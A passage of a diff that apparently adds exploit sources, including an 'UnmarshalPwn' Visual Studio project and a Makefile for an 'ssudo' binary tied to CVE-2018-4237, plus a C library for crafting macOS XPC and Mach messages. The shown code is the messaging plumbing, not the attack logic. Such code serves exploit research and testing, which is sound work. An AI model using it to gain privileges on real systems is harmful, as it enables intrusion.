<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="UnmarshalPwn.cpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
|
@ -0,0 +1,33 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="targetver.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="UnmarshalPwn.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
|
@ -0,0 +1,8 @@
|
|||
// stdafx.cpp : source file that includes just the standard includes
|
||||
// UnmarshalPwn.pch will be the pre-compiled header
|
||||
// stdafx.obj will contain the pre-compiled type information
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
// TODO: reference any additional headers you need in STDAFX.H
|
||||
// and not in this file
|
|
@ -0,0 +1,15 @@
|
|||
// stdafx.h : include file for standard system include files,
|
||||
// or project specific include files that are used frequently, but
|
||||
// are changed infrequently
|
||||
//
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "targetver.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
|
||||
|
||||
|
||||
// TODO: reference additional headers your program requires here
|
|
@ -0,0 +1,8 @@
|
|||
#pragma once
|
||||
|
||||
// Including SDKDDKVer.h defines the highest available Windows platform.
|
||||
|
||||
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
|
||||
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
|
||||
|
||||
#include <SDKDDKVer.h>
|
|
@ -0,0 +1,10 @@
|
|||
|
||||
all:
|
||||
+$(MAKE) -C ssudo
|
||||
|
||||
install:
|
||||
cp ssudo/ssudo ../../../../data/exploits/CVE-2018-4237/ssudo
|
||||
|
||||
clean:
|
||||
rm -f ssudo/ssudo
|
||||
|
|
@ -0,0 +1,74 @@
|
|||
#include "datatypes.h"
|
||||
#include "utils.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
spc_array_t* spc_array_create()
|
||||
{
|
||||
return calloc(sizeof(spc_array_t), 1);
|
||||
}
|
||||
|
||||
void spc_array_destroy(spc_array_t* array)
|
||||
{
|
||||
for (size_t i = 0; i < array->length; i++)
|
||||
spc_value_destroy(array->values[i]);
|
||||
|
||||
free(array->values);
|
||||
free(array);
|
||||
}
|
||||
|
||||
size_t spc_array_get_length(spc_array_t* array)
|
||||
{
|
||||
return array->length;
|
||||
}
|
||||
|
||||
static void resize_array(spc_array_t* array, size_t length)
|
||||
{
|
||||
if (array->length >= length)
|
||||
return;
|
||||
|
||||
size_t prev_length = array->length;
|
||||
|
||||
if (array->capacity < length) {
|
||||
array->capacity *= 2;
|
||||
if (array->capacity == 0)
|
||||
array->capacity = 4; // initial capacity
|
||||
array->values = realloc(array->values, array->capacity * sizeof(spc_value_t));
|
||||
ASSERT(array->values);
|
||||
}
|
||||
|
||||
array->length = length;
|
||||
|
||||
// Null initialize
|
||||
for (size_t i = prev_length; i < length; i++)
|
||||
array->values[i].type = SPC_TYPE_NULL;
|
||||
}
|
||||
|
||||
void spc_array_set_value(spc_array_t* array, size_t index, spc_value_t value)
|
||||
{
|
||||
if (index >= array->length)
|
||||
resize_array(array, index + 1);
|
||||
|
||||
array->values[index] = value;
|
||||
}
|
||||
|
||||
void spc_array_set_data(spc_array_t* array, size_t index, void* data, size_t length)
|
||||
{
|
||||
void* buf = malloc(length);
|
||||
memcpy(buf, data, length);
|
||||
|
||||
spc_value_t value;
|
||||
value.type = SPC_TYPE_DATA;
|
||||
value.value.data.ptr = buf;
|
||||
value.value.data.size = length;
|
||||
|
||||
spc_array_set_value(array, index, value);
|
||||
}
|
||||
|
||||
spc_value_t spc_array_get_value(spc_array_t* array, size_t index)
|
||||
{
|
||||
if (index < array->length)
|
||||
return array->values[index];
|
||||
return spc_null_create();
|
||||
}
|
|
@ -0,0 +1,14 @@
|
|||
#ifndef _ARRAY_H_
|
||||
#define _ARRAY_H_
|
||||
|
||||
#include "datatypes.h"
|
||||
|
||||
spc_array_t* spc_array_create();
|
||||
|
||||
size_t spc_array_get_length(spc_array_t* array);
|
||||
|
||||
void spc_array_set_value(spc_array_t* array, size_t index, spc_value_t value);
|
||||
|
||||
void spc_array_set_data(spc_array_t* array, size_t index, void* data, size_t length);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,223 @@
|
|||
#include "datatypes.h"
|
||||
#include "dictionary.h"
|
||||
#include "serialization.h"
|
||||
#include "utils.h"
|
||||
#include "connection.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
spc_message_t* spc_recv(mach_port_t port)
|
||||
{
|
||||
// TODO hack
|
||||
spc_mach_message_t* machmsg = malloc(0x10000);
|
||||
|
||||
mach_msg_return_t kr = mach_msg(&machmsg->header, MACH_RCV_MSG, 0, 0x10000, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
ASSERT_MACH_SUCCESS(kr, "mach_msg_recv");
|
||||
|
||||
spc_message_t* msg = spc_deserialize(machmsg);
|
||||
free(machmsg);
|
||||
return msg;
|
||||
}
|
||||
|
||||
void spc_send(spc_message_t* msg)
|
||||
{
|
||||
spc_mach_message_t* machmsg = spc_serialize(msg);
|
||||
|
||||
mach_msg_return_t kr = mach_msg(&machmsg->header, MACH_SEND_MSG, machmsg->header.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
ASSERT_MACH_SUCCESS(kr, "mach_msg_send");
|
||||
|
||||
free(machmsg);
|
||||
}
|
||||
|
||||
void spc_interface_routine(int subsytem_nr, int routine_nr, spc_dictionary_t* dict, spc_dictionary_t** reply)
|
||||
{
|
||||
mach_port_t bootstrap_port;
|
||||
kern_return_t kr;
|
||||
|
||||
spc_dictionary_set_uint64(dict, "subsystem", subsytem_nr);
|
||||
spc_dictionary_set_uint64(dict, "routine", routine_nr);
|
||||
|
||||
kr = task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bootstrap_port);
|
||||
ASSERT_MACH_SUCCESS(kr, "task_get_special_port");
|
||||
|
||||
spc_message_t msg;
|
||||
msg.remote_port.name = bootstrap_port;
|
||||
msg.remote_port.type = MACH_MSG_TYPE_COPY_SEND;
|
||||
msg.local_port.name = mig_get_reply_port();
|
||||
msg.local_port.type = MACH_MSG_TYPE_MAKE_SEND_ONCE;
|
||||
msg.id = 0x10000000;
|
||||
msg.content = dict;
|
||||
|
||||
spc_send(&msg);
|
||||
|
||||
spc_message_t* reply_msg = spc_recv(mig_get_reply_port());
|
||||
|
||||
*reply = reply_msg->content;
|
||||
free(reply_msg);
|
||||
}
|
||||
|
||||
void spc_domain_routine(int routine_nr, spc_dictionary_t* msg, spc_dictionary_t** reply)
|
||||
{
|
||||
return spc_interface_routine(3, routine_nr, msg, reply);
|
||||
}
|
||||
|
||||
kern_return_t spc_look_up_endpoint(const char* name, uint64_t type, uint64_t handle, uint64_t lookup_handle, uint64_t flags, mach_port_t* remote_port)
|
||||
{
|
||||
spc_dictionary_t* msg = spc_dictionary_create();
|
||||
spc_dictionary_set_string(msg, "name", name);
|
||||
spc_dictionary_set_uint64(msg, "type", type);
|
||||
spc_dictionary_set_uint64(msg, "handle", handle);
|
||||
spc_dictionary_set_uint64(msg, "lookup-handle", lookup_handle);
|
||||
spc_dictionary_set_uint64(msg, "flags", flags);
|
||||
|
||||
spc_dictionary_t* reply;
|
||||
|
||||
spc_domain_routine(0x324, msg, &reply);
|
||||
spc_dictionary_destroy(msg);
|
||||
|
||||
if (spc_dictionary_get_int64(reply, "error") != 0) {
|
||||
return KERN_FAILURE;
|
||||
}
|
||||
|
||||
*remote_port = spc_dictionary_get_send_port(reply, "port");
|
||||
spc_dictionary_destroy(reply);
|
||||
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
spc_connection_t* spc_create_connection_mach_port(mach_port_t service_port)
|
||||
{
|
||||
kern_return_t kr;
|
||||
mach_port_t send_port, receive_port;
|
||||
|
||||
// Allocate send port. Receive right will be transferred to remote end.
|
||||
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &send_port);
|
||||
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
|
||||
|
||||
// Allocate receive port. A send right will be created and send to the remote end.
|
||||
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &receive_port);
|
||||
ASSERT_MACH_SUCCESS(kr, "mach_port_allocate");
|
||||
|
||||
spc_connection_t* connection = malloc(sizeof(spc_connection_t));
|
||||
connection->receive_port = receive_port;
|
||||
|
||||
// Extract a send right for the send_port.
|
||||
mach_msg_type_name_t aquired_type;
|
||||
kr = mach_port_extract_right(mach_task_self(), send_port, MACH_MSG_TYPE_MAKE_SEND, &connection->send_port, &aquired_type);
|
||||
ASSERT_MACH_SUCCESS(kr, "mach_port_extract_right");
|
||||
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t send_port;
|
||||
mach_msg_port_descriptor_t receive_port;
|
||||
} msg;
|
||||
|
||||
msg.header.msgh_remote_port = service_port;
|
||||
msg.header.msgh_local_port = MACH_PORT_NULL;
|
||||
msg.header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||
msg.header.msgh_size = sizeof(msg);
|
||||
msg.header.msgh_id = 1999646836; // Copy-pasted from mach message trace
|
||||
|
||||
msg.body.msgh_descriptor_count = 2;
|
||||
|
||||
msg.send_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
msg.send_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE;
|
||||
msg.send_port.name = send_port;
|
||||
|
||||
msg.receive_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
msg.receive_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
|
||||
msg.receive_port.name = receive_port;
|
||||
|
||||
kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
ASSERT_MACH_SUCCESS(kr, "mach_msg_send");
|
||||
|
||||
return connection;
|
||||
}
|
||||
|
||||
spc_connection_t* spc_create_connection_mach_service(const char* service_name)
|
||||
{
|
||||
kern_return_t kr;
|
||||
mach_port_t service_port;
|
||||
|
||||
kr = spc_look_up_endpoint(service_name, 7, 0, 0, 0, &service_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return spc_create_connection_mach_port(service_port);
|
||||
}
|
||||
|
||||
spc_connection_t* spc_accept_connection(mach_port_t port)
|
||||
{
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t recv_port;
|
||||
mach_msg_port_descriptor_t send_port;
|
||||
mach_msg_trailer_t trailer;
|
||||
} msg;
|
||||
|
||||
mach_msg_return_t kr = mach_msg(&msg.header, MACH_RCV_MSG, 0, sizeof(msg), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
ASSERT_MACH_SUCCESS(kr, "mach_msg_recv");
|
||||
|
||||
spc_connection_t* connection = malloc(sizeof(spc_connection_t));
|
||||
connection->receive_port = msg.recv_port.name;
|
||||
connection->send_port = msg.send_port.name;
|
||||
|
||||
return connection;
|
||||
}
|
||||
|
||||
void spc_connection_send(spc_connection_t* connection, spc_dictionary_t* dict)
|
||||
{
|
||||
spc_message_t msg;
|
||||
msg.id = 0x10000000;
|
||||
msg.remote_port.name = connection->send_port;
|
||||
msg.remote_port.type = MACH_MSG_TYPE_COPY_SEND;
|
||||
msg.local_port.name = MACH_PORT_NULL;
|
||||
msg.local_port.type = 0;
|
||||
msg.content = dict;
|
||||
spc_send(&msg);
|
||||
}
|
||||
|
||||
spc_dictionary_t* spc_connection_send_with_reply(spc_connection_t* connection, spc_dictionary_t* dict)
|
||||
{
|
||||
spc_message_t msg;
|
||||
msg.id = 0x10000000;
|
||||
msg.remote_port.name = connection->send_port;
|
||||
msg.remote_port.type = MACH_MSG_TYPE_COPY_SEND;
|
||||
msg.local_port.name = mig_get_reply_port();
|
||||
msg.local_port.type = MACH_MSG_TYPE_MAKE_SEND_ONCE;
|
||||
msg.content = dict;
|
||||
spc_send(&msg);
|
||||
|
||||
spc_message_t* reply = spc_recv(msg.local_port.name);
|
||||
dict = reply->content;
|
||||
free(reply);
|
||||
|
||||
return dict;
|
||||
}
|
||||
|
||||
spc_dictionary_t* spc_connection_recv(spc_connection_t* connection)
|
||||
{
|
||||
spc_message_t* msg = spc_recv(connection->receive_port);
|
||||
|
||||
spc_dictionary_t* dict = msg->content;
|
||||
free(msg);
|
||||
|
||||
return dict;
|
||||
}
|
||||
|
||||
void spc_reply(spc_message_t* orig, spc_dictionary_t* reply)
|
||||
{
|
||||
spc_message_t msg;
|
||||
msg.id = 0x20000000;
|
||||
msg.remote_port.name = orig->local_port.name;
|
||||
msg.remote_port.type = MACH_MSG_TYPE_MOVE_SEND_ONCE;
|
||||
msg.local_port.name = MACH_PORT_NULL;
|
||||
msg.local_port.type = 0;
|
||||
msg.content = reply;
|
||||
spc_send(&msg);
|
||||
}
|
|
@ -0,0 +1,25 @@
|
|||
#ifndef _CONNECTION_H_
|
||||
#define _CONNECTION_H_
|
||||
|
||||
#include "datatypes.h"
|
||||
|
||||
void spc_interface_routine(int subsytem_nr, int routine_nr, spc_dictionary_t* msg, spc_dictionary_t** reply);
|
||||
void spc_domain_routine(int routine_nr, spc_dictionary_t* msg, spc_dictionary_t** reply);
|
||||
|
||||
kern_return_t spc_look_up_endpoint(const char* name, uint64_t type, uint64_t handle, uint64_t lookup_handle, uint64_t flags, mach_port_t* remote_port);
|
||||
spc_connection_t* spc_create_connection_mach_port(mach_port_t service_port);
|
||||
spc_connection_t* spc_create_connection_mach_service(const char* service_name);
|
||||
|
||||
spc_connection_t* spc_accept_connection(mach_port_t port);
|
||||
|
||||
// Low-level send/recv API
|
||||
void spc_send(spc_message_t* msg);
|
||||
spc_message_t* spc_recv(mach_port_t port);
|
||||
void spc_reply(spc_message_t* msg, spc_dictionary_t* reply);
|
||||
|
||||
// High-level send/recv API
|
||||
void spc_connection_send(spc_connection_t* connection, spc_dictionary_t* msg);
|
||||
spc_dictionary_t* spc_connection_send_with_reply(spc_connection_t* connection, spc_dictionary_t* msg);
|
||||
spc_dictionary_t* spc_connection_recv(spc_connection_t* connection);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,43 @@
|
|||
#include <stdlib.h>
|
||||
|
||||
#include "datatypes.h"
|
||||
|
||||
const spc_port_t SPC_NULL_PORT = {.name = MACH_PORT_NULL, .type = 0};
|
||||
|
||||
spc_value_t spc_null_create()
|
||||
{
|
||||
spc_value_t null = { .type = SPC_TYPE_NULL };
|
||||
return null;
|
||||
}
|
||||
|
||||
void spc_value_destroy(spc_value_t value)
|
||||
{
|
||||
switch (value.type) {
|
||||
case SPC_TYPE_STRING:
|
||||
free(value.value.str);
|
||||
break;
|
||||
case SPC_TYPE_UUID:
|
||||
free(value.value.ptr);
|
||||
break;
|
||||
case SPC_TYPE_DATA:
|
||||
free(value.value.data.ptr);
|
||||
break;
|
||||
case SPC_TYPE_ARRAY:
|
||||
spc_array_destroy(value.value.array);
|
||||
break;
|
||||
case SPC_TYPE_DICT:
|
||||
spc_dictionary_destroy(value.value.dict);
|
||||
break;
|
||||
case SPC_TYPE_SEND_PORT:
|
||||
case SPC_TYPE_RECV_PORT:
|
||||
case SPC_TYPE_FD:
|
||||
mach_port_deallocate(mach_task_self(), value.value.port.name);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void spc_message_destroy(spc_message_t* msg)
|
||||
{
|
||||
spc_dictionary_destroy(msg->content);
|
||||
free(msg);
|
||||
}
|
|
@ -0,0 +1,91 @@
|
|||
#ifndef _DATATYPES_H_
|
||||
#define _DATATYPES_H_
|
||||
|
||||
#include <stdint.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
typedef struct {
|
||||
mach_port_t send_port; // A send right to a port on which the remote end can receive
|
||||
mach_port_t receive_port;
|
||||
} spc_connection_t;
|
||||
|
||||
#define SPC_TYPE_NULL 0x1000
|
||||
#define SPC_TYPE_BOOL 0x2000
|
||||
#define SPC_TYPE_INT64 0x3000
|
||||
#define SPC_TYPE_UINT64 0x4000
|
||||
#define SPC_TYPE_DOUBLE 0x5000
|
||||
#define SPC_TYPE_DATA 0x8000
|
||||
#define SPC_TYPE_STRING 0x9000
|
||||
#define SPC_TYPE_UUID 0xa000
|
||||
#define SPC_TYPE_FD 0xb000
|
||||
#define SPC_TYPE_SHMEM 0xc000
|
||||
#define SPC_TYPE_SEND_PORT 0xd000
|
||||
#define SPC_TYPE_ARRAY 0xe000
|
||||
#define SPC_TYPE_DICT 0xf000
|
||||
#define SPC_TYPE_RECV_PORT 0x15000
|
||||
|
||||
typedef struct _spc_dictionary_t spc_dictionary_t;
|
||||
typedef struct _spc_array_t spc_array_t;
|
||||
|
||||
typedef struct {
|
||||
mach_port_t name;
|
||||
mach_msg_type_name_t type;
|
||||
} spc_port_t;
|
||||
|
||||
const spc_port_t SPC_NULL_PORT;
|
||||
|
||||
typedef struct {
|
||||
unsigned char* ptr;
|
||||
size_t size;
|
||||
} spc_data_t;
|
||||
|
||||
typedef struct {
|
||||
uint32_t type;
|
||||
union {
|
||||
uint64_t u64;
|
||||
int64_t i64;
|
||||
double dbl;
|
||||
char* str;
|
||||
void* ptr;
|
||||
spc_data_t data;
|
||||
spc_dictionary_t* dict;
|
||||
spc_array_t* array;
|
||||
spc_port_t port;
|
||||
} value;
|
||||
} spc_value_t;
|
||||
|
||||
spc_value_t spc_null_create();
|
||||
void spc_value_destroy(spc_value_t value);
|
||||
|
||||
typedef struct _spc_array_t {
|
||||
spc_value_t* values;
|
||||
size_t length;
|
||||
size_t capacity;
|
||||
} spc_array_t;
|
||||
|
||||
typedef struct _spc_dictionary_item_t {
|
||||
char* key;
|
||||
spc_value_t value;
|
||||
struct _spc_dictionary_item_t* next;
|
||||
} spc_dictionary_item_t;
|
||||
|
||||
typedef struct _spc_dictionary_t {
|
||||
spc_dictionary_item_t* items;
|
||||
size_t num_items;
|
||||
} spc_dictionary_t;
|
||||
|
||||
|
||||
void spc_array_destroy(spc_array_t* dict);
|
||||
void spc_dictionary_destroy(spc_dictionary_t* dict);
|
||||
|
||||
// A message is essentially a mach message header and a dictionary
|
||||
typedef struct {
|
||||
spc_port_t local_port;
|
||||
spc_port_t remote_port;
|
||||
unsigned int id;
|
||||
spc_dictionary_t* content;
|
||||
} spc_message_t;
|
||||
|
||||
void spc_message_destroy(spc_message_t* msg);
|
||||
|
||||
#endif
|
|
@ -0,0 +1,262 @@
|
|||
#include "datatypes.h"
|
||||
#include "utils.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
|
||||
extern int fileport_makeport(int fd, mach_port_t* port);
|
||||
|
||||
spc_dictionary_t* spc_dictionary_create()
|
||||
{
|
||||
return calloc(sizeof(spc_dictionary_t), 1);
|
||||
}
|
||||
|
||||
void spc_dictionary_destroy(spc_dictionary_t* dict)
|
||||
{
|
||||
spc_dictionary_item_t* current, *last;
|
||||
current = dict->items;
|
||||
while (current) {
|
||||
free(current->key);
|
||||
|
||||
spc_value_destroy(current->value);
|
||||
|
||||
last = current;
|
||||
current = current->next;
|
||||
free(last);
|
||||
}
|
||||
|
||||
free(dict);
|
||||
}
|
||||
|
||||
spc_dictionary_item_t* spc_dictionary_lookup(spc_dictionary_t* dict, const char* key)
|
||||
{
|
||||
spc_dictionary_item_t* current = dict->items;
|
||||
while (current) {
|
||||
if (strcmp(current->key, key) == 0)
|
||||
return current;
|
||||
|
||||
current = current->next;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
spc_dictionary_item_t* spc_dictionary_add_item(spc_dictionary_t* dict, const char* key, uint32_t type)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||
if (item) {
|
||||
spc_value_destroy(item->value);
|
||||
} else {
|
||||
item = malloc(sizeof(spc_dictionary_item_t));
|
||||
item->next = dict->items;
|
||||
dict->items = item;
|
||||
dict->num_items++;
|
||||
item->key = strdup(key);
|
||||
}
|
||||
item->value.type = type;
|
||||
return item;
|
||||
}
|
||||
|
||||
void spc_dictionary_set_value(spc_dictionary_t* dict, const char* key, spc_value_t value)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_STRING);
|
||||
item->value = value;
|
||||
}
|
||||
|
||||
void spc_dictionary_set_string(spc_dictionary_t* dict, const char* key, const char* value)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_STRING);
|
||||
item->value.value.str = strdup(value);
|
||||
}
|
||||
|
||||
void spc_dictionary_set_uint64(spc_dictionary_t* dict, const char* key, uint64_t value)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_UINT64);
|
||||
item->value.value.u64 = value;
|
||||
}
|
||||
|
||||
void spc_dictionary_set_int64(spc_dictionary_t* dict, const char* key, int64_t value)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_INT64);
|
||||
item->value.value.i64 = value;
|
||||
}
|
||||
|
||||
void spc_dictionary_set_data(spc_dictionary_t* dict, const char* key, const void* bytes, size_t len)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_DATA);
|
||||
void* buf = malloc(len);
|
||||
memcpy(buf, bytes, len);
|
||||
item->value.value.data.ptr = buf;
|
||||
item->value.value.data.size = len;
|
||||
}
|
||||
|
||||
void spc_dictionary_set_fd(spc_dictionary_t* dict, const char* key, int fd)
|
||||
{
|
||||
mach_port_t fileport;
|
||||
fileport_makeport(fd, &fileport);
|
||||
|
||||
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_FD);
|
||||
item->value.value.port.name = fileport;
|
||||
item->value.value.port.type = MACH_MSG_TYPE_COPY_SEND;
|
||||
}
|
||||
|
||||
// TODO make port type a parameter
|
||||
void spc_dictionary_set_send_port(spc_dictionary_t* dict, const char* key, mach_port_t port)
|
||||
{
|
||||
mach_port_addref(port, MACH_PORT_RIGHT_SEND);
|
||||
|
||||
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_SEND_PORT);
|
||||
item->value.value.port.name = port;
|
||||
item->value.value.port.type = MACH_MSG_TYPE_COPY_SEND;
|
||||
}
|
||||
|
||||
void spc_dictionary_set_receive_port(spc_dictionary_t* dict, const char* key, mach_port_t port)
|
||||
{
|
||||
mach_port_addref(port, MACH_PORT_RIGHT_RECEIVE);
|
||||
|
||||
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_RECV_PORT);
|
||||
item->value.value.port.name = port;
|
||||
item->value.value.port.type = MACH_MSG_TYPE_MOVE_RECEIVE;
|
||||
}
|
||||
|
||||
void spc_dictionary_set_bool(spc_dictionary_t* dict, const char* key, int value)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_add_item(dict, key, SPC_TYPE_BOOL);
|
||||
item->value.value.u64 = value;
|
||||
}
|
||||
|
||||
uint64_t spc_dictionary_get_uint64(spc_dictionary_t* dict, const char* key)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||
if (!item || item->value.type != SPC_TYPE_UINT64)
|
||||
return 0;
|
||||
|
||||
return item->value.value.u64;
|
||||
}
|
||||
|
||||
int64_t spc_dictionary_get_int64(spc_dictionary_t* dict, const char* key)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||
if (!item || item->value.type != SPC_TYPE_INT64)
|
||||
return 0;
|
||||
|
||||
return item->value.value.i64;
|
||||
}
|
||||
|
||||
const char* spc_dictionary_get_string(spc_dictionary_t* dict, const char* key)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||
if (!item || item->value.type != SPC_TYPE_STRING)
|
||||
return NULL;
|
||||
|
||||
return item->value.value.str;
|
||||
}
|
||||
|
||||
int spc_dictionary_get_bool(spc_dictionary_t* dict, const char* key)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||
if (!item || item->value.type != SPC_TYPE_BOOL)
|
||||
return 0;
|
||||
|
||||
return item->value.value.u64;
|
||||
}
|
||||
|
||||
mach_port_t spc_dictionary_get_send_port(spc_dictionary_t* dict, const char* key)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||
if (!item || item->value.type != SPC_TYPE_SEND_PORT)
|
||||
return MACH_PORT_NULL;
|
||||
|
||||
mach_port_addref(item->value.value.port.name, MACH_PORT_RIGHT_SEND);
|
||||
return item->value.value.port.name;
|
||||
}
|
||||
|
||||
mach_port_t spc_dictionary_get_receive_port(spc_dictionary_t* dict, const char* key)
|
||||
{
|
||||
spc_dictionary_item_t* item = spc_dictionary_lookup(dict, key);
|
||||
if (!item || item->value.type != SPC_TYPE_RECV_PORT)
|
||||
return MACH_PORT_NULL;
|
||||
|
||||
mach_port_addref(item->value.value.port.name, MACH_PORT_RIGHT_RECEIVE);
|
||||
return item->value.value.port.name;
